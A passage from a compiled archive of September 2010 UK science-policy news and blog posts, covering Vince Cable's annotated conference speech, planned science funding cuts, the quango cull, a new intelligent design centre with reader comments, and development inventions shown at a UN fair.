than Bob Crow could achieve in his wildest Trotskyite fantasies, while paying themselves outrageous
bonuses underwritten by the taxpayer. There is much public anger about banks and it is well deserved.

But I am not seeking retribution. The Chancellor and I have set out a range of sticks and carrots to get
banks to support the real economy. Tough interventions will be needed if capital which could be used to
support business lending is frittered away in bonuses and dividends.

The Coalition Agreement was crystal clear, too, that the structure of banking must be reformed to prevent
future disasters and promote competition. Our agenda can be summed in seven words: make them safe
and make them lend. I agree with Mervyn. We just can't risk having banks that are too big to fail.

Beyond the banks, there are vast amounts of institutional capital – in pension funds and the like – looking
for productive outlets. The Government is proposing to establish a Green Investment Bank to support
environmentally valuable projects and infrastructure alongside these private investors: making the rhetoric
of the Green New Deal real.

And looking further ahead, my colleague Ed Davey is doing valuable work promoting mutual ownership
and also – as in the Royal Mail – spreading worker ownership alongside private capital.

Royal Mail

I want to announce today that employees in Royal Mail will benefit from the largest employee shares
scheme of any privatisation for 25 years. The Liberal Democrats were the first and only party to call for an
employee stake and we are now implementing it in Government.

The Post Office is not for sale. There will be no programme of closures as there were under Labour.

And the principle of responsible ownership should apply across the business world.

Economic growth

We need successful business. But let me be clear. The Government's agenda is not one of laissez-faire.
Markets are often irrational or rigged. Why should good companies be destroyed by short-term investors
looking for a speculative killing, while their accomplices in the City make fat fees? Why do directors
sometimes forget their wider duties when a cheque is waved before them?

Capitalism takes no prisoners and kills competition where it can, as Adam Smith explained over 200 years
ago. I want to protect consumers and keep prices down and provide a level playing field for small business.
Competition is central to my pro-market, pro-business, agenda.

This part of what all the fuss was about on the day in the media, with the CBI and others
lining up to attack the speech on the basis of what had been leaked in advance. Richard
Lambert (head of the CBI) said on the telly that Cable had in fact toned the language
down a little, but let‟s look at what he says here.

“The Government's agenda is not one of laissez-faire,” he says. This points up one of the
facts of coalition life, that it is much harder to say what the government‟s position actually
is on anything. The simple hierarchy of command we‟re used to in Britain is replaced by
something more like Brussels or Washington. Like LA, there's no there there. There are
different opinions within government, which get voiced by politicians as if they are an
agreed position, but actually aren‟t. In reality, all that exists is decisions that are the result of
obscure negotiation and compromise. Attempts to identify an underpinning philosophy,
even by participants, are doomed to overstate the amount of agreement there really is.

457 | P a g e
VOLUME 10
So, in this case for example, the immediate question is what George Osborne thinks about
Cable‟s statement.

But at the same time the comment is not vacuous. Cable did in fact announce an agreed
coalition decision yesterday, a “comprehensive review into corporate governance and
economic short-termism” for the autumn, covering:

* What drives market short-termism?

* Do boards set out their long-term objectives sufficiently clearly?

* How can we encourage shareholders to become more engaged in the company‟s


future?

* Do shareholders have sufficient opportunity to vote on takeover bids?

* Do target boards do enough to consider whether the bid represents value for their
shareholders in the long-term?

* Does the way in which directors are paid unduly encourage takeover activity?

To my mind, it‟s all pretty vague, a mixture of deep issues such as the entrenched City short-
termism and specific details such as voting rules on takeover bids. But Cable does now
have the remit to delve into the murk and who knows what may come of it.

For his pains, Cable has been painted as something of an anti-capitalist for this. But, as
usual, he defies categorisation.

Philosophically, what Cable says he wants is a more competitive kind of capitalism. Where
big firms have “killed competition”, he wants to restore it. Fundamentally, I agree with him.
Competition breeds competitiveness. If we want our firms to succeed on the world stage,
the best preparation is to make them fight properly for their market at home. Cushy quasi-
cartels just make firms flabby and more intent on maintaining market “rigging” than
innovating.

But this deep stuff is not the subject of Cable‟s inquiry. That is focused on takeovers in the
City, and there he is threatening to make it harder for takeovers to take place, so on that
count he could be labelled anti-capitalist.

One point on the general philosophy. If - and it‟s a big if - anything substantive were to
come of Cable‟s desire for more intense competition, who stands to lose? Answer, big firms
with dominant positions in lucrative British markets. These are the household names who
make up the CBI‟s membership. So criticism from that quarter now should be taken with a
pinch of salt, and I wouldn‟t be surprised to see a principled man like Richard Lambert
decide that lobbying for vested interests was not the game he signed up to play.

But the big long-term question is: how does the country earn a living in future? Skilled and educated
people. High tech manufacturing, of which we already have a great deal. Creative industries, IT and
science-based industries and professional services. In my job I meet many outstanding, world class, British-
based companies. But we need more companies and more jobs in the companies we have.

Businesses cannot grow because of a shortage of trained workers while our schools churn out young
people regarded by companies as virtually unemployable. The pool of unemployed graduates is growing
while there is a chronic shortage of science graduates and especially engineers.

There has to be a revolution in post 16 education and training. We are making a start. Despite cuts, my
department is funding 50,000 extra high level apprenticeships this year - vital for a manufacturing revival.

458 | P a g e
VOLUME 10
I would like to see some evidence that any of the 50,000 extra apprenticeships are actually
likely to make a blind bit of difference to manufacturing firms. I am seriously worried about
the quality of the apprenticeships scheme, especially how the providers will handle big
sudden expansions like this.

My Conservative colleague David Willetts and I want to sweep away the artificial barriers between
universities and FE; between academic and vocational; between full time, part time and continuing life
long learning; between the academic and vocational. I was the first person in my family to stay on at school
beyond 15. I want everyone to have the chance to continue their education.

So, just to repeat what Cable and Willetts have been saying from Day 1: expensive HE
places are to be replaced by FE places that cost 60-70 per cent less.

There are some unhelpful cultural prejudices and vested interests to overcome. The belief that only A-
starred A levels count, not apprenticeships. Or the assumption that top Oxbridge maths brains should go to
Goldman Sachs or hedge funds, not to Rolls Royce or into teaching. Wrong. Completely wrong.

Er, so are you going to pay maths teachers what they can earn at Goldman Sachs?

But what do we do when there is less government money?

I realise that there are people in the hall who believe that education at all levels must be free and the
taxpayer should pay up, regardless of the bill.

Fees

In reality the only way to maintain high quality higher education with less government money is for the
graduate beneficiaries to make a bigger contribution from the extra earnings they enjoy later in life.

I am doing everything I can to ensure that graduate contributions are linked to earnings. Why should low
paid graduates - nurses, youth workers or science researchers - pay the same as corporate lawyers and
investment bankers? We have to balance higher contributions with basic fairness.

Contrast this with what Nick Clegg said the day before: "The only question is over when we
can afford to scrap tuition fees.” Clegg is saying tuition fees will be scrapped. Cable is
saying students are going to have to pay more. It‟s pretty hard to reconcile those two
statements in the lifetime of this parliament. The UCU has warned, “the general public will
not fall for student debt simply being increased and given a new name”.

Meanwhile, the FT yesterday ran a story saying that government research spending was to
be cut by £900m (which it oddly thinks is a small cut) and that HEFCE‟s teaching budget is
to be cut by £3.5 billion. It had the whiff of details from authentic spending negotiations.
How do we reconcile that with what the Lib Dems are saying?

My best guess is that the spending negotiations are working their way through the usual
committees and meetings, but that Clegg and to some extent Cable are working at a
higher level, of grand politics. The Treasury can draft as many papers as it likes, but in the
end Dave and Nick will have to settle it, possibly with Allen keys in hand. In other words, it is
all hanging in the balance. And not surprisingly, Newsnight‟s Michael Crick is reporting that
nothing will be decided until after the Browne review reports.

(By the way, if you combine the FT‟s numbers on teaching with Lib Dem demands for a
progressive solution, then you end up with something not far off what I advocated at the
start of the year.)

459 | P a g e
VOLUME 10
The biggest test of our party's contribution to the coalition is whether we can ensure fairness more widely.
You'll remember our Conservative colleagues campaigned in the General Election to lift the inheritance tax
burden on double millionaires.

But they have dropped that commitment. They have gone halfway to accepting our case for equalising
income tax and capital gains tax rates. They have accepted in the Coalition Agreement that the priority for
cutting income tax is for low earners not top earners.

Ironically, we may be able to make more progress on a fairness agenda with the Conservatives than New
Labour was willing to do. Labour was constantly on its knees trying to prove that it was a friend of the
super rich.

It will be said that in a world of internationally mobile capital and people it is counterproductive to tax
personal income and corporate profit to uncompetitive levels. That is right. But a progressive alternative is
to shift the tax base to property and land which cannot run away and represent, in Britain, an extreme
concentration of wealth. I personally regret that mansion tax did not make it into the Coalition Agreement
but in a coalition we have to compromise. But we can and should maintain our distinctive and progressive
tax policies for the future.

I started by saying that I am reporting back to you conference. I want to conclude by saying that your role
is crucial. In government we are trying to put Lib Dem ideas into action; your job is to keep us honest. We
have punched above our weight in government because we have a democratic party which has clear
principles and policies. In a few short months we have showed how we can advance our party's policies
and principles while serving the wider national interest. But we need to sell this message. The Tories will
not do that for us. We have to do it ourselves. That means focus leaflets and doorsteps. That means you.
We need you. All of you.

Posted by William Cullerne Bown

2010/09/24 EXQUISITE LIFE: NESTA CHIEF TO


QUIT AS QUANGO'S FATE HANGS IN THE BALANCE
The chief executive of the National Endowment for Science Technology and the Arts announced he is
quitting the post just days before a leaked government document revealed the organisation is not yet safe
from abolition.


In a letter to leaders of science organisations dated 21 September, Jonathan Kestenbaum revealed that
he is leaving NESTA to take over the helm of Five Arrows Ltd from owner Jacob Rothschild.


On 24 September, a document leaked to the BBC revealed that NESTA’s future is “still to be decided” as
part of a government cull of arms length bodies.


There are 180 bodies on the leaked list that are to be abolished and a further 124 that will be merged, the
BBC reports.

Although NESTA’s future is still up in the air its leader is departing at a crucial time.

460 | P a g e
VOLUME 10

“It will be a great wrench to leave NESTA but I have discussed it with the board and they understand that
working with Lord Rothschild to expand and develop the investment company is an extraordinary
privilege,” Kestenbaum wrote.


Bodies on the list to be abolished include the Strategic Advisory Board for Intellectual Property.


The Department of Health’s advisory bodies on HIV, AIDS, dangerous pathogens and its Scientific Advisory
Committee on Nutrition will all be abolished and brought into the department. The same fate awaits its
Alcohol Education and Research Council.


As previously announced, the Human Fertilisation and Embryology Authority and Human Tissue Authority
will also go.


The Higher Education Funding Council for England, the seven research councils and the Technology
Strategy Board are on the list to be retained.


Meanwhile, the Royal Society of Chemistry is “ready and willing” to fill the gap left behind by the abolished
quangos.


“The RSC’s specialist member groups offer much science and education expertise offered by bodies
reportedly facing the axe, such as the Air Quality Expert Group, Scientific Advisory Committee on Nutrition
and numerous others,” said chief executive Richard Pike in a statement. “Should these bodies be abolished
or combined, the collective expertise of the 46,000 members of the RSC stands ready and willing to assist
the government in making sound, evidence-based policy decisions.”

Posted by Laura Hood on September 24, 2010 | Permalink


Comments

I have discussed it with the board and they understand that working with Lord Rothschild to expand and
develop the investment company is an extraordinary privilege.
Posted by: ffxiv gil | September 25, 2010 at 02:40 AM

I am puzzled by this quango statement.


According to the Nesta website it states "NESTA is the National Endowment for Science, Technology and the
Arts - an independent body with a mission to make the UK more innovative.
Our endowment status means we operate at no cost to the UK taxpayer."
Posted by: Paul Hobcraft | September 26, 2010 at 09:15 AM

A loss to NESTA but a gain for Five Arrows. Congraulations Jonathan. It is a time of huge change for many and
if less money in public sector restricts talented leaders from progress then a return to private sector will
enable them to continue good works without political interventions. NESTA is of strategic importance to the
development and support of entrepreneuralism and innovation throughout the creative industries.
Posted by: Maxine Horn | September 26, 2010 at 04:35 PM

It is a significant presumption to think that the private sector will absorb the many 'talented leaders' that
have been and will imminently be made redundant. I agree that a positive approach is required, but one that
incorporates a greater sense of what is happening is preferable.
Posted by: Riprap007 | September 28, 2010 at 12:10 AM

461 | P a g e
VOLUME 10
2010/09/24 REUTERS: BRITISH SCIENTISTS SAY
CUTS WILL CRIPPLE RESEARCH
By Stefano Ambrogi

(Reuters) - Looming spending cuts in science will endanger Britain's fragile economic recovery, drive away
foreign talent and do untold damage to the nation's competitive edge, leading academics warned on
Friday.

Six of the country's top scientists, including Astronomer Royal and President of the Royal Society Martin
Rees, joined forces to spell out the risk posed by chopping funding in science and technology.

The unusually outspoken university vice chancellors said the imminent cuts ran the "very serious risk of
squandering" all the investment in scientific research and development undertaken over the last 20 years.

Speaking at the Royal Institution in London some said the cuts, to be announced on October 20, were likely
to be the harshest for the field in the last 30 years and had to be fought.

"If we are unable to maintain the intensity of research we have achieved and the efficiency in the way we
do it, then we are about to lose a national asset of great importance," Professor Malcolm Grant, president
of University College London told reporters.

"I need to understand what is the economic case for long-term growth in this country to which research is
not relevant?" he added.

The scientific community is lobbying hard against the ruling Conservative Liberal-Democrat coalition's
commitment to slash spending across ministries.

Britain spends 3.5 billion pounds a year on science but that could be cut by up to 25 percent as part of the
government's drive to eliminate a record budget deficit.

Prime Minister David Cameron has repeatedly stressed the importance of science and advanced
manufacturing jobs in Britain's economy recovery.

BRAIN DRAIN

Scientific research and funding for universities will not be spared the axe and top scientists fear a brain
drain as high-fliers flee to countries, like the United States, Canada and China, where investment is rising.

Business Secretary Vince Cable has further irked academics by saying he will cut the 6 billion pounds a year
R&D budget in an effort to eliminate "mediocre" study.

President of the Royal Society, Martin Rees, talked of the "unacceptable" and "disastrous" consequences
of major cuts.

He said innovation could be set back years, and crucial research into diverse health, engineering and
technology programs, from cancer research and curing blindness to climate change, jeopardized, or even
closed for good.

Rees said the Royal Society was preparing for two possible worst-case scenarios after talks with ministers.
The first he said foresaw cuts of 10 percent to the overall budget which he termed "slash and burn".

462 | P a g e
VOLUME 10
The second, far more drastic scenario involved cuts of 20 percent, which he referred to as "game over"
because he said that would "really irreversibly destroy the UK's potential as a leading scientific nation."

Prof. Glynis Breakwell, vice chancellor of Bath university, attacked the cuts as ill-thought out for quick gain.

"Short-termism is a fundamental, potentially fatal error," she said.

(Editing by Peter Griffiths and Michael Roddy)

2010/09/24 SCIENCE INSIDER: U.K. RESEARCH


LEADERS MAKE FINAL STAND AGAINST SCIENCE
CUTS

by Sarah Reed

Top officials from six U.K. universities joined Martin Rees, president of the Royal Society, in London today
in a last-ditch attempt to avert the government's expected cuts in science funding, which will be detailed in
its forthcoming comprehensive spending review, scheduled for release on 20 October . The defiant
gathering follows U. K. business secretary Vince Cable's controversial speech earlier this month at The
Queen Mary Bioenterprises Innovation Centre in London, in which he remarked that only research that has
a commercial use or is "theoretically outstanding" should be funded by taxpayers. Cable's remarks come a
few months after the U.K. research councils were told to submit budgets for scenarios involving a funding
freeze and cuts of 10% and 20%.

At today's press briefing, Rees commented that Cable had been "poorly briefed" about how research
grants are awarded before his speech. Simon Gaskell of Queen Mary, University of London, added to Rees's
remarks by noting that he was "alarmed by [Cable's] lack of awareness" about how science research is
translated into commercial use. "Based on his remarks, he didn't appear to be familiar with how common it
is nowadays to find innovation centers adjacent to universities," says Gaskell.

The panelists also repeated comments that have been splashed across the media in the past week about
the effects that science cuts would have on attracting and retaining top researchers (see articles in
the Guardian andChemistry World). And Rees reiterated the Royal Society's findings that a 20% cut to the
U.K.'s £6 billion science budget would be the "game over" scenario, "irreversibly destroying the U.K.'s
potential as a leading scientific nation."

Meanwhile, the Telegraph reported yesterday that as part of the government's plans to cut public
spending ,177 U.K. taxpayer-funded quangos (Quasi-Autonomous Non-Governmental Organisations) will
be abolished—including the Human Fertilisation and Embryology Authority, the Health Protection Agency,
and a long list of other advisory and oversight panels related to research. A further 94 quangos—including

463 | P a g e
VOLUME 10
the U.K. Atomic Energy agency and the Environment Agency—have an agonising 3-week wait before their
fates are decided.

2010/09/24 THE GREAT BEYOND: NEW


INTELLIGENT DESIGN CENTRE LAUNCHES IN
BRITAIN
Intelligent design (ID) has never really gained much of a foothold in the UK - at least compared to the
United States where evolution isn't as widely accepted and a high-profile think tank, the Discovery
Institute, peddles its philosophies.

The newly launched Centre for Intelligent Design aims to change all that. So far the centre has a crisp-
looking website and a small office in Glasgow. Its director Alistair Noble hopes to launch a series of public
lectures promoting ID. The first, which he plans to announce soon, will feauture a prominent American
proponent of ID. The centre has no formal connection to other ID-promoting organizations in the United
States or the UK, and it is only informally linked to the Discovery Institute, Noble says.

For the time being, the organization isn't looking to promote ID in Britain's schools, Noble says. "I would
stress that we’re not targeting schools."

Yesterday, Britain's Department for Education, said in a statement that ID and Creationism have no place in
the science curriculum.

James Gray, at the British Humanist Association, had not heard of the new ID centre, though he does not
think it represents much of a sea change for ID in Britain. “There’s only a small number of people who are
into this kind of stuff and it tends to be same few people," he says.

Posted by Ewen Callaway


COMMENTS
It may be true that creationism and ID are very much in the minority here (even among Christians, by the way),
but the alarming thing is that they do seem to be on the increase. It also seems to me that today more people
lack any meaningful science education than once did.
I don't think we should be complacent about it— the American situation could exist here too given time.
Posted by: Tim J | September 24, 2010 01:47 PM
Intelligent design creationism was fabricated by American religious fundamentalists who carefully avoided
invoking Adam and Eve, Noah's Flood and all the other trappings of the Genesis creation mythology. Most of the
American supporters of intelligent design creationism are from the ranks of the scientifically illiterate and the
willfully ignorant: Fundamentalist creationists.
Every actual science organization in the United States has condemned intelligent design creationism as a
pseudoscience. It is nothing more than the logic fallacy "argument from ignorance" or "argument from
incredulity" dressed up in frilly sciencey-sounding bafflegab.
A famous American judicial ruling correctly stated: "We have concluded that intelligent design is not science,
and moreover that intelligent design cannot uncouple itself from its creationist, and thus religious,
antecedents."
Posted by: Paul Burnett | September 25, 2010 02:41 AM

464 | P a g e
VOLUME 10
I hope it's really a cover for money laundering or some other thing less damaging than spreading creationism.
The last thing the UK needs now is an anti-science kick.
Posted by: anonymous | September 25, 2010 11:10 AM
Identifying design is a legitimate scientific discipline that only becomes controversial when it is applied to
nature. But if even Richard Dawkins has said that the question of God's existence is a scientfic issue, then why
not the existence of a Designer? The origin of the information in DNA and the origin of life itself remain
inexplicable by Darwinian or any naturalistic processes, yet ID offers a rational, logical and powerful
explanation for both. To prevent scientific enquiry into the possibility of design is anti-scientific, yet this is
the inexcusable position of most neo-Darwinists. Scientists should follow the evidence wherever it leads, not
limit enquiry to an exisiting paradigm like evolution. This is not how science advances.
Posted by: Andrew Halloway | September 27, 2010 11:24 AM
Andrew:
"Identifying design is a legitimate scientific discipline that only becomes controversial when it is applied to
nature."
It is legitimate in disciplines where we know that designers exist - like archaeology. We know humans make
things and we can look for the effects of human industry.
We also know that humans didn't create life or affect any major changes in prehistoric evolution. Humans, and
in some cases other animals, are the ONLY examples of 'designers' that we know of, so from that we can only
get as far as saying that 'designer' is an attribute that applies to certain types of life on earth - we know of no
other entities that do design. Biologists quite rightly reject 'design detection' for these reasons - when we
look for evidence of design we are looking for evidence of things that humans can do, nothing else.
"The origin of the information in DNA and the origin of life itself remain inexplicable by Darwinian or any
naturalistic processes, yet ID offers a rational, logical and powerful explanation for both."
Evolutionary theory explains perfectly well how 'information' is aquired from the environment by living systems.
The ID explanation is "Something unknown, that we are not allowed to investigate (according to the main
proponents of ID) did some stuff at some point in time, possibly several times, for some unknown reason (which
we usually aren't allowed to ask about either)"
This is not a powerful or scientific explanation of anything, it is a blanket non-explanation that applies to
anything.
Posted by: BillB | September 27, 2010 02:28 PM
Personally—and I believe in God—I don't see any reason why the information in DNA can't have arisen
naturally. And I'm much more able to believe in a creator who can build into the most fundamental laws of
physics the potential for intelligent life to evolve, than in one who has to artificially add life to the system.
Yes we do have to follow wherever the evidence takes us, but I don't think it takes us anywhere near intelligent
design.
Intelligent design seems to me to misunderstand not only science, but also the theological concept of creation.
Creation isn't a moment in time (where the laws of physics are broken to bring something into being); it's the
dependence of the whole consistent system, of space-time-matter-energy and the laws that describe their
behaviour, on something external for its realness.
Posted by: Tim J | September 28, 2010 12:06 AM
Neither creationism nor intelligent design belong in a high school science classroom. I suspect the upswing in
activity in the UK is directly connected to some of the lost legal cases in the US.
Posted by: Karlton G Kemerait | September 30, 2010 03:40 AM

2010/09/24 S WORD: 20 PER CENT CUTS TO


BRITISH SCIENCE MEANS 'GAME OVER'

Roger Highfield, magazine editor

465 | P a g e
VOLUME 10
A vivid picture of the economic damage that could be caused by a retraction of Britain's research base was
given today by Martin Rees, the president of the Royal Society.

Rees was speaking with five university vice chancellors as scientists steel themselves for deep cuts at
the Department of Business, Innovation and Skills.

The gory details will be laid bare in October's Comprehensive Spending Review, in which all government
departments have been asked to prepare for budgets to fall by up to 25 per cent, perhaps even more.

In their submission to the Treasury, the Royal Society has described the potential effects of the cuts, where
"an X per cent cut would lead to a much more than X per cent decrease in output, because we would lose
the most talented people". They outline three scenarios:

 20 per cent cuts are the "game over" scenario, which would cause irreversible destruction and be
"very tragic", said Rees.
 10 per cent is the "slash and burn" option with "serious consequences".
 Constant cash, a reduction in real terms, "could be accommodated".

At the Royal Institution, during an event organised by the Campaign for Science and Engineering and
the Science Media Centre, Rees also made the point that the UK will be less attractive to mobile talent and
young people as other countries invest more in research.

Just to make sure that the Treasury gets the point, the Vice Chancellors also weighed in:

 Glynis Breakwell of the University of Bath warned about "short termism" and the perils of stop-go
funding, which would be "fatal".
 Malcolm Grant of University College London described how the cuts will damage research that
"touches people's lives", squander the investment of the past two decades and damage an asset of
great national importance.
 Andy Haines of the London School of Hygiene and Tropical Medicine outlined how the cuts would
harm health research as competitors, such as the US and China, are investing more in these areas.
 Rick Trainor of King's College London talked of the damage to long-term research capacity,
and Simon Gaskell of Queen Mary, University of London once again underlined the harm to the
pool of national talent.

What was fascinating about today's briefing was what was not discussed. There appears to be a complete
lack of insight into what the Treasury and Number 10 think about the role of science in the economy.

Nor was there any substantial discussion of where, if science is to be spared, the cuts should fall in public
spending. Those present were diplomatic, avoiding the question.

Imran Khan, director of the Campaign for Science and Engineering, told me:

If we want good public services in the future, we have to make sure our economy is on a
sound footing. And given that we don't have much left to dig out of the ground, and we
can't compete on cheap labour, that has to mean investing in a high-tech, knowledge-
intensive economy now.

The one thing we can be certain of is that this thinking is completely out of step with other major
economies. America has decided that, despite its stimulus package, it is still not doing enough to drive
innovation.

Khan, among others, is worried that the higher echelons of government don't seem to grasp the long-term
nature of scientific research. He says:

466 | P a g e
VOLUME 10
There's almost a sense of bewilderment as to what our new "rebalanced economy" is
meant to be based upon, if it's not the research that leads to high-tech industry.
2 Comments
Jeffrey Newman on September 24, 2010 6:08 PM
These proposed or predicted cuts are so self-evidently disastrous - even to a non-scientist like myself - that it
is important to ask WIGO, i.e. What is going on here?
Sadly, it is undoubtedly NOT driven by a wisdom that has come to recognise that we are running away with
ourselves and our planet and that we need to 'slow down', something which is almost inimical to science which
always wants to go further and faster.
Nor is it likely to have any such effect. We will need the very best, highest level, scientific thinking and
understanding in these next years and it is inconceivable that the sort of 'slash and burn cuts' that these are
likely to be will help us out of our predicaments.
We will need systemic thinking and understanding. Is that the sort of leadership that the coalition is showing?

london student on September 26, 2010 1:34 PM


UK is a strong candidate amongst others in reaching the peak of the mountain, turning now downwards would be
fatalistic and very degrading. As an international student, I came to UK to study just because of its prestigious
universities which reflect high excellence in regards to scientific research. Cutting down investments to the
scientific research community would be like committing suicide in front of the whole world. A 25% cut would be
felt throughout the world not just in UK, as there are many UK scientists who conduct research outside the
country with funds from this country. UK cannot go back now where it is headed. In contrary, it must increase
funding for scientific research to get ahead of the competitors and increase its budget too. For whatever
reasons these cuts are going to be made, they will never outweigh the advantages of science.

2010/09/24 THE GREAT BEYOND: GAME OVER


FOR BRITISH SCIENCE?

Following yesterday’s letter from the House of Lords


science and technology committee to Science Minister David Willetts urging a rethink of science cuts, Lord
Martin Rees, president of the Royal Society, and five heads of prominent universities held a press
conference at the Royal Institution today to send the same message.

Lord Rees says the UK is currently in a strong position, second only to the US in terms of the quality of
research and university teaching, but he thinks the country’s ability to punch above its weight, and its
international standing, would be compromised if the cuts are made. Glynis Breakwell, vice-chancellor of

467 | P a g e
VOLUME 10
the University of Bath, says that if funding is cut now with a view to increasing it again when the public
purse is in a better state, the catch-up required “could prove impossible”.

According to the panel, cuts would cause many top-flight researchers who currently work in the UK to
leave, attracted by increased science funding abroad, while overseas researchers would no longer be
attracted to work in UK institutions. The quality of university teaching would suffer, and children would be
put off pursuing careers in science. “What kind of signal does it send if they see other countries increasing
their expenditure while there are cuts here?” asks Lord Rees.

The assembled academics gave several examples of research carried out at their institutions which has
been both practically useful and economically profitable, and drew attention to the more than 200
companies that have been successfully spun-out from university bioscience departments over the past
decade.

Malcolm Grant, president and provost at University College London, says the country risks “squandering”
the investment made in research over the past ten years. “We are about to lose a national asset of great
importance,” he warns.

In a submission to the treasury, the Royal Society outlined three scenarios: 'Constant cash' - a reduction in
real terms - "could be accomodated", a ten per cent cut termed 'slash and burn' would have "serious
consequences", and a 20 per cent cut which they say would mean "game over" for British science.

However, Lord Rees would not be drawn on which departments should have to soak up the proposed cuts
were science to be spared. “The amount we’re talking about in science is less than £1bn, which makes the
difference between the acceptable and disastrous scenarios…Much larger sums are going to be involved in
other departments,” he says.

Posted by Joseph Milton

2010/09/24 THE GREAT


BEYOND: CAN SCIENCE HELP
MILLENNIUM DEVELOPMENT GOALS
SUCCEED?
As participants of the United Nations Millennium Development Goals
Summit took stock of stalled progress on objectives set a decade ago to
ease global poverty by 2015, the UN on Wednesday announced a $40 billion
dollar push, pledged by numerous nations and organizations, to prevent the deaths of as many as 16
million mothers and children in the world’s poorest countries. *Reuters]

468 | P a g e
VOLUME 10
Earlier this summer, G8 nations pledged a smaller sum toward the goal of reducing mortality rates in young
children and pregnant women, as Nature reported in June. However, success in meeting the target for
child and maternal health, as with the other Millennium Development Goals, may depend on science even
more so than money.

On a related note, in a hotel ballroom across the street from the UN, Rajiv Shah, head of the US Agency for
International Development (USAID), stressed the relevance of science to international development at a
fair, co-hosted by USAID and the New York Academy of Science. Over the next three years, he said, USAID
intends to launch a series of Grand Challenges that it hopes will inspire innovators to come up with
technological solutions to endemic poverty.

Participants at the fair displayed about 20 inventions, ranging from those in the early design phase to
others already on the market. Here's a look at some of the bright ideas that were on parade at the event:

1. Dirt Power (Lebone Solutions, Inc)

Access to electricity is a major hurdle to development. According to the World


Bank, 95% of the world’s inhabitants have no access to electricity – a roadblock
for entrepreneurs running a business, medical personnel operating a health clinic
and students doing their homework. A group of Harvard students came up with
the idea of creating a cheap microbial fuel cell by basically packing a plastic puck
with dirt. As microbes in soil eat sugar, they give off electrons. The fuel cell the
group has designed (right) harnesses that charge with a square of graphite cloth and a piece of chicken
wire; the difference in electrical properties of the two metals pulls most of the electrons to the graphite.
“They don’t produce a lot of power,” says Stephen Lwendo, one of the founders, “but you can power low-
power devices” such as LED lights and cell phones. Lebone hopes to have a product ready for market in the
next 6 months to a year.

2. mPedigree

In countries such as Nigeria and Ghana, a third or more of medicines for sale at the local pharmacy are
counterfeit, often at great risk to patients. Ghanian start-up mPedigree decided to tackle this problem by
creating a database of medicine codes -- stored in the cloud – that’s accessible by SMS. People who
subscribe to the service can simply take a picture of the code, text it to a given number, and within 3 or 4
seconds receive a reply stating whether the medicine in their hand is legit. The company aims to recruit
pharma companies to support the service. “Pharma pays so that consumers can access the information for
free,” says Bright Simons, one of the mPedigree’s founders. The incentive for them, of course, is to stamp
out the loss in revenue counterfeiting produces. So far, mPedigree is working with Nigerian drug
manufacturer May and Baker to set up the system for anti-malarial medicine, says Bright, but he hopes to
expand to other kinds of drugs soon. The Nigerian government has said it would like to make the network a
national scheme, and the company is seeking large-scale buy-in in other countries.

3. Dutyion Irrigation Technology (Design Technology and Irrigation)

This company’s root irrigation system (left) allows farmers to use water that would
normally be too polluted or too salty for agriculture to water their crops. The system
requires no infrastructure – tubing is buried along the roots of a farmer’s crops, and
water is fed into the tubes from a supply tank. The trick is in the material from which the tubing is made –
water diffuses through its walls, leaving salts and contaminants behind, irrigating with the released vapor.
The company recently signed a deal with DuPont and plans to start selling the product shortly.

469 | P a g e
VOLUME 10
4. Floating Sensor Network (University of California, Berkeley)

In the wake of a toxic spill or flood, real-time water monitoring can be essential. This group’s
GPS-enabled floating sensor robot (right) can be tossed into the water, measuring everything
from temperature to contaminants, and delivering the readings to a mobile phone.

5. Solar Autoclave (Massachusetts Institute of Technology)

More than three billion people worldwide receive their primary care at rural clinics,
but these clinics often have no access to electricity. Researchers at MIT are designing
an inexpensive device that runs a small autoclave with solar power (left). The device
generates enough energy to boil water in a collector, using the steam to sterilize
medical instruments.

Posted by Alla Katsnelson

2010/09/24 GUARDIAN SCIENCE: CUTS TO


SCIENCE FUNDING WILL 'DESTROY UK'S
POTENTIAL' AS WORLD LEADER
Universities fear that cuts to funding combined with a cap on immigration will force Britain out of the
premier league for research Alok Jha

The governments proposal to cut


science funding and cap immigration is being fiercely contested by university chiefs. Photograph: George
Disario/Corbis

470 | P a g e
VOLUME 10
The heads of some of Britain's leading universities fear that the proposed government policy to cut science
funding and cap immigration amounts to a double hit on research institutions trying to recruit the world's
best scientists to work in the UK.

"The immigration cap, certainly in my institution, appears to be affecting the overseas students that we're
getting and it's very serious that it's coming particularly at the time when we're potentially financially
challenged," said Andy Haines, vice chancellor of the London School of Hygiene and Tropical Medicine. "It's
misguided to impose an immigration cap, particularly on bona-fide institutions, when actually we're
generating resources for the UK. The students that we train go on to benefit their own countries and our
economy. We need to maintain a reputation as a destination for the very highest fliers in the world and if
we have arbitrary caps on recruitment of staff from overseas, this will impair that mission."

The comments came at a briefing on the governerment's proposed cuts to science, organised by
the Campaign for Science & Engineering (Case)and comes the day after the chair of the House of Lords
science and technology committee warned of a "brain drain" of talent from the UK, in a letter to science
minister David Willetts.

John Krebs, chair of the House of Lords science and technology committee, wrote to Willetts to tell him
that several leading researchers had already lost scientists to overseas universities and warned that a cut in
funding, while other countries increased their scientific spend, would raise "significant risks" to the UK's
scientific research base. He cited evidence from six prominent research universities – Manchester, Oxford,
Cambridge, Imperial College London, University College London and Edinburgh - in his letter.

"The international nature of universities is absolutely critical, whether that refers to student bodies or staff
and, certainly as far as staff is concerned, the experiment has already been done," said Simon Gaskell, vice
chancellor of Queen Mary, University of London, at today's briefing. "US universities have based their
success over many decades by taking talent from across the world."

Martin Rees, president of the Royal Society, said today that the immigration cap was an aggravation "not
just in academia but in multinationals and elsewhere."

Business secretary Vince Cable has also already expressed concern over the idea of the immigration cap, a
key component of Conservative party policy, after a major speech on science in London last month. "I've
already expressed concerns for activities like big international companies and also the scientific
community, where the movement of people is an essential part of the way they operate," he said. "I
understand that universities do need people to come and go. This is an international community and the
immigration system has got to reflect that, otherwise it'll cause a lot of damage."

All government departments have been asked to prepare for cuts of 25% or more in their budgets as part
of the government's austerity drive. Scientists have spent several months warning that such deep cuts to
the UK's science infrastructure would have devastating long-term effects, forcing the country out of the
"premier league" in many fields of research.

Imran Khan, director of Case, said: "There has been a clear and consistent message from academia and
industry that a healthy science budget is critical to maintaining the UK's competitiveness. If you're looking
to generate economic growth and rebalance the economy, damaging our research base just as our
competitors are strengthening theirs is the worst possible way to go about it. It's not rocket science; we
can't compete on cheap labour, and we don't have many things left to dig out of the ground. We need to
focus on hi-tech in order to succeed."

Haines pointed out that UK science makes a significant contribution to the economy. In the past decade,
UK university bioscience departments have generated more than 200 spin-out companies. He also cited
studies which show that every pound increase in public funding stimulates up to £5 investment into
471 | P a g e
